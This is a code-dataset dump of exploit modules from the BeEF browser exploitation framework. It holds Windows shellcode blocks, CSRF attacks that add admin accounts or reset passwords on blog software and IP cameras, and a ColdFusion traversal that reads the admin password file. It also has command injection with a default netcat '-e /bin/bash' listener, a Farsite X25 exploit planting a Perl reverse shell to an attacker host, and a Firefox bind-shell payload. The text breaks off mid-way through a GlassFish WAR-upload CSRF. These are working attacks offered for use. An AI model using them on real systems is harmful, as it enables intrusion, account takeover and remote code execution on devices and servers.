language
stringlengths 0
24
| filename
stringlengths 9
214
| code
stringlengths 99
9.93M
|
---|---|---|
Assembly Language
|
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_sleep.asm
|
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: None
; Output: None. Sleeps for specified seconds.
; Clobbers: None
push 1000 ; milliseconds
push 0xE035F044 ; hash (kernel32.dll, Sleep)
call ebp ; Sleep(1000ms)
|
Assembly Language
|
beef/modules/exploits/beefbind/shellcode_sources/windows/src/block_virtualalloc.asm
|
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: None
; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000
; Clobbers: EAX, EBX, ECX, EDX
mov ebx,0x1000 ; setup our flags and buffer size in ebx
allocate_memory: ; Alloc a buffer for the request and response data
push byte 0x40 ; PAGE_EXECUTE_READWRITE - don't need execute but may as well
push ebx ; MEM_COMMIT
push ebx ; size of memory to be allocated (4096 bytes)
push byte 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
JavaScript
|
beef/modules/exploits/boastmachine_3_1_add_user_csrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var base = '<%= @base %>';
var username = '<%= @username %>';
var password = '<%= @password %>';
var email = '<%= @email %>';
var boastmachine_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
{'type':'hidden', 'name':'action', 'value':'add_user'},
{'type':'hidden', 'name':'do', 'value':'add'},
{'type':'hidden', 'name':'user_login', 'value':username},
{'type':'hidden', 'name':'user_pass', 'value':password},
{'type':'hidden', 'name':'user_name', 'value':username},
{'type':'hidden', 'name':'user_email', 'value':email},
{'type':'hidden', 'name':'blogs[]', 'value':'4'},
{'type':'hidden', 'name':'user_level', 'value':'4'},
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(boastmachine_iframe);
}
setTimeout("cleanup()", 15000);
});
|
YAML
|
beef/modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
boastmachine_add_user_csrf:
enable: true
category: "Exploits"
name: "boastMachine <= 3.1 Add User CSRF"
description: "Attempts to add a user to a boastMachine <= 3.1 install."
authors: ["bcoles", "Dr.NaNo"]
target:
unknown: ["ALL"]
|
Ruby
|
beef/modules/exploits/boastmachine_3_1_add_user_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Boastmachine_add_user_csrf < BeEF::Core::Command
def self.options
[
{ 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog' },
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },
{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },
{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => '[email protected]' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/camera/airlive_ip_camera_csrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var base = '<%= @base %>';
var path = 'cgi-bin/admin/usrgrp.cgi';
var user = '<%= @user %>';
var pass = '<%= @pass %>';
var airlive_ip_camera_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(base + path, "GET", "application/x-www-form-urlencoded",
[{'type':'hidden', 'name':'user', 'value':user},
{'type':'hidden', 'name':'pwd', 'value':pass},
{'type':'hidden', 'name':'grp', 'value':'administrator'},
{'type':'hidden', 'name':'sgrp', 'value':'ptz'},
{'type':'hidden', 'name':'action', 'value':'add'},
{'type':'hidden', 'name':'redirect', 'value':''}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(airlive_ip_camera_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", 15000);
});
|
YAML
|
beef/modules/exploits/camera/airlive_ip_camera_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# For more information see:
# http://www.exploit-db.com/exploits/26174/
##
beef:
module:
airlive_add_user_csrf:
enable: true
category: ["Exploits", "Camera"]
name: "Airlive Add User CSRF"
description: "Attempts to add an admin user on a Airlive camera.<br/><br/>This CSRF is reported to work on the following models: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD.</br/><br/>Note: This module has not been tested on a real device."
authors: ["bcoles", "Eliezer Varadé Lopez", "Javier Repiso Sánchez", "Jonás Ropero Castillo"]
target:
unknown: ["ALL"]
|
Ruby
|
beef/modules/exploits/camera/airlive_ip_camera_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Airlive_add_user_csrf < BeEF::Core::Command
def self.options
[
{ 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/' },
{ 'name' => 'user', 'ui_label' => 'Desired username', 'value' => 'beef' },
{ 'name' => 'pass', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/camera/dlink_dcs_series_csrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var base = '<%= @base %>';
var passwd = '<%= @password %>';
var dlink_dcs_iframe = beef.dom.createInvisibleIframe();
var form = document.createElement('form');
form.setAttribute('action', base + "/setup/security.cgi");
form.setAttribute('method', 'post');
var input = null;
input = document.createElement('input');
input.setAttribute('type', 'hidden');
input.setAttribute('name', 'rootpass');
input.setAttribute('value', passwd);
form.appendChild(input);
input = document.createElement('input');
input.setAttribute('type', 'hidden');
input.setAttribute('name', 'confirm');
input.setAttribute('value', passwd);
form.appendChild(input);
dlink_dcs_iframe.contentWindow.document.body.appendChild(form);
form.submit();
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(dlink_dcs_iframe);
}
setTimeout("cleanup()", 15000);
});
|
YAML
|
beef/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# More info: http://www.exploit-db.com/exploits/18509/
#
beef:
module:
Dlink_dcs_series_csrf:
enable: true
category: ["Exploits", "Camera"]
name: "Dlink DCS series CSRF"
description: "Attempts to change the password on a Dlink DCS series camera."
authors: ["bcoles"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/camera/dlink_dcs_series_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Dlink_dcs_series_csrf < BeEF::Core::Command
def self.options
[
{ 'name' => 'base', 'ui_label' => 'Camera web root', 'value' => 'http://192.168.0.1/' },
{ 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var gateway = '<%= @base %>';
var path = 'adm/file.cgi';
var passwd = '<%= @password %>';
var linksys_wvc_iframe = beef.dom.createIframeXsrfForm(gateway + path, "POST", "application/x-www-form-urlencoded",
[{'type':'hidden', 'name':'adm', 'value':'admin'},
{'type':'hidden', 'name':'admpw', 'value':passwd},
{'type':'hidden', 'name':'admpwv', 'value':passwd},
{'type':'hidden', 'name':'language', 'value':'1'},
{'type':'hidden', 'name':'h_usernamelist', 'value':''},
{'type':'hidden', 'name':'h_language', 'value':'1'},
{'type':'hidden', 'name':'h_lang_from_mac','value':''},
{'type':'hidden', 'name':'this_file', 'value':'pass_wd.htm'},
{'type':'hidden', 'name':'next_file', 'value':'pass_wd.htm'},
{'type':'hidden', 'name':'todo', 'value':'save'},
{'type':'hidden', 'name':'video_file', 'value':''},
{'type':'hidden', 'name':'', 'value':'Submit form'}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(linksys_wvc_iframe);
}
setTimeout("cleanup()", 15000);
});
|
YAML
|
beef/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
linksys_wvc_wireless_camera_csrf:
enable: true
category: ["Exploits", "Camera"]
name: "Linksys WVC series CSRF"
description: "Attempts to change the admin password on a Linksys WVCseries wireless camera."
authors: ["bcoles", "n0x00"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Linksys_wvc_wireless_camera_csrf < BeEF::Core::Command
def self.options
[
{ 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.101/' },
{ 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/coldfusion_dir_traversal_exploit/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* ColdFusion Directory Traversal Exploit (CVE-2010-2861) by antisnatchor .
* Inject into the vulnerable "locale" parameter the classic payload of a directory traversal.
* By default the exploit will retrieve the password.properties file, where the CF admin passwd is stored:
* the user is free to specify any other path that will be appended to the server root (ie C:\ on Windows)
*
* On a default win installation, the following vector works great:
* http://127.0.0.1:8500/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\ColdFusion8\lib\password.properties%00en
* demo CF application-> http://blogs.sitepoint.com/applications-coldfusion-8/
*/
beef.execute(function() {
fileToRetrieve = "<%= @fileToRetrieve %>";
targetOS = "<%= @os_combobox %>";
cf_version = "<%= @cf_version %>";
var uri = null;
if(targetOS == "Windows"){
uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\\ColdFusion' + cf_version + '\\lib\\' + fileToRetrieve + '%00en';
}else{
uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../../opt/coldfusion' + cf_version + '/lib/' + fileToRetrieve + '%00en';
}
beef.net.request("http", "GET", document.domain, document.location.port, uri,null, null, 10, 'text', function(response){
if(response.status_code == "success"){
titleStart = response.response_body.indexOf("<title>");
titleEnd = response.response_body.indexOf("</title>");
exploitResults = response.response_body.substring(titleStart + 7,titleEnd);
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=Retrieved contents for file [" + fileToRetrieve + "]: " + exploitResults);
}else{
beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: directory traversal failed.");
}
});
});
|
YAML
|
beef/modules/exploits/coldfusion_dir_traversal_exploit/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
coldfusion_dir_traversal_exploit:
enable: true
category: "Exploits"
name: "ColdFusion Directory Traversal Exploit"
description: "ColdFusion 9.0, 8.0.1, 9.0 and 9.0.1 are vulnerable to directory traversal that leads to arbitrary file retrieval from the ColdFusion server (CVE-2010-2861)"
authors: ["antisnatchor"]
target:
working: ["ALL"]
|
Ruby
|
beef/modules/exploits/coldfusion_dir_traversal_exploit/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Coldfusion_dir_traversal_exploit < BeEF::Core::Command
def self.options
[
{ 'name' => 'fileToRetrieve', 'ui_label' => 'Retrieve file (in CF /lib dir)', 'value' => 'password.properties' },
{ 'name' => 'os_combobox', 'type' => 'combobox', 'ui_label' => 'CF server OS', 'store_type' => 'arraystore',
'store_fields' => ['os'], 'store_data' => [['Windows'], ['Linux/MacOSX/*BSD']],
'valueField' => 'os', 'displayField' => 'os', 'mode' => 'local', 'autoWidth' => true },
{ 'name' => 'cf_version', 'type' => 'combobox', 'ui_label' => 'ColdFusion version', 'store_type' => 'arraystore',
'store_fields' => ['cf_version'], 'store_data' => [['8'], ['9']],
'valueField' => 'cf_version', 'displayField' => 'cf_version', 'mode' => 'local', 'autoWidth' => true }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/extract_cmd_exec/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
// validate payload
try {
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
var payload = 'createuser '+cmd+'&>/dev/null; echo;\r\nquit\r\n';
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target details
if (!rport || !rhost) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');
return;
}
if (!beef.net.is_valid_port(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');
return;
}
// send commands
var extract_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands");
// clean up
cleanup = function() {
document.body.removeChild(extract_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});
|
YAML
|
beef/modules/exploits/extract_cmd_exec/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
extract_cmd_exec:
enable: true
category: "Exploits"
name: "EXTRAnet Collaboration Tool (extra-ct) Command Execution"
description: "This module exploits a command execution vulnerability in the 'admserver' component of the EXTRAnet Collaboration Tool (default port 10100) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: Spaces in the command are not supported."
authors: ["bcoles"]
target:
working: ["FF", "C"]
not_working: ["IE"]
|
Ruby
|
beef/modules/exploits/extract_cmd_exec/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/
###
# EXTRAnet Collaboration Tool (extra-ct)
# Version: 0.5.1
# Homepage: http://www.extra-ct.net/
# Source: http://code.google.com/p/extra-ct/
# Source: http://sourceforge.net/projects/extract/
###
class Extract_cmd_exec < BeEF::Core::Command
def self.options
[
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },
{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '10100' },
{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },
{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',
'value' => '{netcat,-l,-p,1337,-e,/bin/bash}', 'width' => '200px' }
]
end
def post_execute
save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?
save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?
end
end
|
JavaScript
|
beef/modules/exploits/farsite_x25_remote_shell/command.js
|
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var scheme = '<%= @scheme %>';
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
writefile = function() {
var revshell='use+IO;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}';
revshell = revshell + '$c=new IO::Socket::INET(PeerAddr,"' + lhost + ':' + lport +'");';
revshell = revshell + 'STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};';
var x25w_<%= @command_id %>= beef.dom.createInvisibleIframe();
var uri = scheme + '://' + rhost + "/fsSaveUIPersistence.php?strSubmitData=" + revshell;
//About to hit uri
x25w_<%= @command_id %>.setAttribute('src', uri);
};
exploit = function() {
//Command injecting on the router
var x25e_<%= @command_id %> = beef.dom.createInvisibleIframe();
var uri = scheme + '://' + rhost + "/fsx25MonProxy.php?strSubmitData=start+|perl</http/htdocs/fsUI.xyz;echo";
x25e_<%= @command_id %>.setAttribute('src', uri);
};
try {
writefile();
setTimeout(exploit,5000);
} catch (e) {
beef.debug(peer + " - Exploit failed: " + e.message);
}
});
|
YAML
|
beef/modules/exploits/farsite_x25_remote_shell/config.yaml
|
#
beef:
module:
farsite_X25_remote_shell:
enable: true
category: "Exploits"
name: "Farsite X25 gateway remote code execution"
description: "This module exploits CVE-2014-7175 to write a payload to the router and CVE-2014-7173 to execute it. Once you have shell you can use the setuid /http/bin/execCmd to execute commands as root."
authors: ["Wireghoul"]
target:
working: ["All"]
|
Ruby
|
beef/modules/exploits/farsite_x25_remote_shell/module.rb
|
class Farsite_x25_remote_shell < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.beef_host
[
{ 'name' => 'scheme', 'type' => 'combobox', 'ui_label' => 'HTTP(s)', 'store_type' => 'arraystore',
'store_fields' => ['http'], 'store_data' => [['HTTP'], ['HTTPS']],
'valueField' => 'http', 'displayField' => 'http', 'mode' => 'local', 'autoWidth' => true },
{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '10.0.0.1' },
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => beef_host.to_s },
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/firephp/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// detect firebug
if (window.console && (window.console.firebug || window.console.exception)) {
var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe();
firephp_<%= @command_id %>.src = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/firephp";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser.");
return;
}
// clean up
cleanup = function() {
document.body.removeChild(firephp_<%= @command_id %>);
}
setTimeout("cleanup()", 10000);
});
|
YAML
|
beef/modules/exploits/firephp/config.yaml
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
###
# Exploit: http://www.justanotherhacker.com/advisories/jahx132.html
###
beef:
module:
firephp_code_exec:
enable: true
category: "Exploits"
name: "Firephp 0.7.1 RCE"
description: "Exploit FirePHP <= 0.7.1 to execute arbitrary JavaScript within the trusted 'chrome://' zone.<br/><br/>This module forces the browser to load '/firephp' on the BeEF server.<br/><br/>The payload is executed silently once the user moves the mouse over the array returned for 'http://[BeEF]/firephp' in Firebug.<br/><br/><b>Note:</b> Use msfpayload to generate JavaScript payloads. The default payload binds a shell on port 4444.<br/>See 'modules/exploits/firephp/payload.js'"
authors: ["Wireghoul", "bcoles"]
target:
user_notify: ["FF"]
not_working: ["All"]
|
Ruby
|
beef/modules/exploits/firephp/module.rb
|
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# PoC by Wireghoul: http://www.justanotherhacker.com/advisories/jahx132.html
###
class Firephp_code_exec < BeEF::Core::Command
def pre_send
rand_str = rand(32**10).to_s(32)
# load payload.js file
# generate payload:
# msfpayload firefox/shell_bind_tcp LPORT=4444 R > payload.js
payload = ''
f = File.open("#{$root_dir}/modules/exploits/firephp/payload.js")
f.each_line do |line|
payload << line
end
f.close
# construct exploit+payload HTTP response
exploit = {
'RequestHeaders' => {
'1' => rand(10).to_s,
'2' => rand(10).to_s,
'3' => rand(10).to_s,
'4' => rand(10).to_s,
'5' => rand(10).to_s,
'6' => rand(10).to_s,
'7' => rand(10).to_s,
'8' => rand(10).to_s,
'9' => rand(10).to_s,
"<script>#{payload}<\/SCRIPT>" => rand_str
}
}.to_json
# mount exploit+payload at /firephp
# @todo use Router class instead of bind_raw()
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200',
{
'Content-Type' => 'text/html',
'X-Wf-Protocol-1' => 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2',
'X-Wf-1-Plugin-1' => 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3',
'X-Wf-1-Structure-1' => 'http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1',
'X-Wf-1-1-1-1' => "#{exploit.length}|#{exploit}|\r\n"
},
rand_str, # HTTP body
'/firephp', # URI mount point
-1)
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end
|
JavaScript
|
beef/modules/exploits/firephp/payload.js
|
(function(){
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var lport = 4444;
var rhost = "";
var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
.createInstance(Components.interfaces.nsIServerSocket);
serverSocket.init(lport, false, -1);
var listener = {
onSocketAccepted: function(serverSocket, clientSocket) {
var outStream = clientSocket.openOutputStream(0, 0, 0);
var inStream = clientSocket.openInputStream(0, 0, 0);
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
pump.asyncRead(clientListener(outStream), null);
}
};
var clientListener = function(outStream) {
return {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
runCmd(data, function(err, output) {
if(!err) outStream.write(output, output.length);
});
}
};
};
var readFile = function(path) {
try {
var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(path);
var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
.createInstance(Components.interfaces.nsIFileInputStream);
fileStream.init(file, 1, 0, false);
var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
.createInstance(Components.interfaces.nsIBinaryInputStream);
binaryStream.setInputStream(fileStream);
var array = binaryStream.readByteArray(fileStream.available());
binaryStream.close();
fileStream.close();
file.remove(true);
return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
} catch (e) { return ""; }
};
var setTimeout = function(cb, delay) {
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
return timer;
};
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
var windows = (ua.indexOf("Windows")>-1);
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
var jscript = ({"src":"\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n "}).src;
var runCmd = function(cmd, cb) {
cb = cb || (function(){});
if (cmd.trim().length == 0) {
setTimeout(function(){ cb("Command is empty string ('')."); });
return;
}
var js = (/^\s*\[JAVASCRIPT\]([\s\S]*)\[\/JAVASCRIPT\]/g).exec(cmd.trim());
if (js) {
var tag = "[!JAVASCRIPT]";
var sync = true; /* avoid zalgo's reach */
var sent = false;
var retVal = null;
try {
retVal = Function('send', js[1])(function(r){
if (sent) return;
sent = true;
if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\n"); });
else cb(false, r+tag+"\n");
}
});
} catch (e) { retVal = e.message; }
sync = false;
if (retVal && !sent) {
sent = true;
setTimeout(function(){ cb(false, retVal+tag+"\n"); });
}
return;
}
var shEsc = "\\$&";
var shPath = "/bin/sh -c";
if (windows) {
shPath = "cmd /c";
shEsc = "\^$&";
var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
jscriptFile.append('DgPpX5C0Cqj8lWozDd.js');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0);
stream.write(jscript, jscript.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
stream.finish();
} else {
stream.close();
}
}
var stdoutFile = "Bf6Seq5KPkR5MZLH";
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
stdout.append(stdoutFile);
if (windows) {
var shell = shPath+" "+cmd;
shell = shPath+" "+shell.replace(/\W/g, shEsc)+" >"+stdout.path+" 2>&1";
var b64 = svcs.btoa(shell);
} else {
var shell = shPath+" "+cmd.replace(/\W/g, shEsc);
shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1";
}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
var sh = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
if (windows) {
sh.initWithPath("C:\\Windows\\System32\\wscript.exe");
process.init(sh);
var args = [jscriptFile.path, b64];
process.run(true, args, args.length);
jscriptFile.remove(true);
setTimeout(function(){cb(false, cmd+"\n"+readFile(stdout.path));});
} else {
sh.initWithPath("/bin/sh");
process.init(sh);
var args = ["-c", shell];
process.run(true, args, args.length);
setTimeout(function(){cb(false, readFile(stdout.path));});
}
};
serverSocket.asyncListen(listener);
})();
|
JavaScript
|
beef/modules/exploits/glassfish_war_upload_xsrf/command.js
|
//
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// This exploit is based on the PoC by Roberto Suggi Liverani - Security-Assessment.com
// For more info, refer to: http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html
beef.execute(function() {
var restHost = '<%= @restHost %>';
var warName = '<%= @warName %>';
var warBase = '<%= @warBase %>';
var logUrl = restHost + '/management/domain/applications/application';
if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {
XMLHttpRequest.prototype.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}
}
function fileUpload(fileData, fileName) {
boundary = "HELLOWORLD270883142628617",
uri = logUrl,
xhr = new XMLHttpRequest();
var additionalFields = {
asyncreplication: "true",
availabilityenabled: "false",
contextroot: "",
createtables: "true",
dbvendorname: "",
deploymentplan: "",
description: "",
dropandcreatetables: "true",
enabled: "true",
force: "false",
generatermistubs: "false",
isredeploy: "false",
keepfailedstubs: "false",
keepreposdir: "false",
